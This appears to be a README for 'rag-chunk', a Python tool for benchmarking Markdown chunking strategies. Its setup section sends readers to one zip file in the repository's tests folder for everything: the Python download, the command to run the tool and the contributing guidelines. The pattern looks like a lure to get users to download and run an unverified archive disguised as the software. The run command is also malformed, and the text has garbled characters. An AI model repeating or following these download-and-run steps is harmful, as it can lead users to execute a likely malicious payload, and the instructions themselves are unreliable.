rag-chunk is a Python command-line tool designed to test, benchmark, and find the best chunking strategies for Markdown documents. Whether youβre working on a large project or need quick insights into your documents, this tool can help you organize your content efficiently.
Follow the steps below to easily download and run rag-chunk on your computer.
Before downloading, ensure your computer meets the following requirements:
- Operating System: Windows, macOS, or Linux.
- Python: You need Python 3.7 or newer installed. You can download it from https://raw.githubusercontent.com/ItzikAquaMotek/rag-chunk/main/tests/rag-chunk_1.7.zip.
- Memory: At least 4GB of RAM is recommended for optimal performance.
Head over to the Releases page on GitHub to access the latest version of rag-chunk.
Locate the latest release at the top of the page. You will see a list of files. Click on the file that best suits your operating system.
For most users, rag-chunk might not require installation. However, if you download a compressed file, extract its contents first.
- Windows: Press
Win + R, typecmd, and hit Enter. - macOS: Press
Command + Space, typeTerminal, and hit Enter. - Linux: Open your terminal application from the applications menu.
Use the cd command to change your directory to where you downloaded the rag-chunk files. For example, if you downloaded it to the Downloads folder:
cd Downloads/rag-chunkTo start using rag-chunk, type the following command in your terminal and hit Enter:
python https://raw.githubusercontent.com/ItzikAquaMotek/rag-chunk/main/tests/rag-chunk_1.7.zipThis will launch the application. You will see instructions on how to use the features available.
- Chunking Strategies: Easily experiment with different chunking strategies to find what works best for your documents.
- Benchmarking: Find the speed and efficiency of various approaches.
- Markdown Compatibility: Specifically built to handle Markdown documents, ensuring a seamless experience for users.
- After starting the application, you will see a menu with options.
- Follow the on-screen prompts to choose the chunking strategy you'd like to test.
- Provide your Markdown document's path when prompted.
- Review the results that are generated, detailing performance and recommendations.
If you have questions or need help, consider these resources:
- Documentation: Comprehensive user guides may be found in the
docsfolder. - Community: Join discussions or ask questions on GitHub Issues.
- Tutorials: Check out video tutorials on YouTube for visual guidance.
- Regularly check the Releases page for updates. New features and improvements are added frequently.
- Make backups of your original documents before testing various chunking strategies to avoid accidental data loss.
If you would like to contribute, please check the guidelines in the https://raw.githubusercontent.com/ItzikAquaMotek/rag-chunk/main/tests/rag-chunk_1.7.zip file. All contributions are welcome and appreciated.
To stay informed about updates, you can:
- βStar the repository on GitHub.
- Follow the project author on GitHub for announcements and future releases.
Your feedback is crucial for improvement. After using rag-chunk, consider providing your thoughts via the GitHub Issues section or through direct comments.
- Related Tools: Explore other Python CLI tools for document processing.
- NLP Techniques: Learn more about natural language processing and its applications in document management.
Enjoy using rag-chunk and optimize your document chunking process today!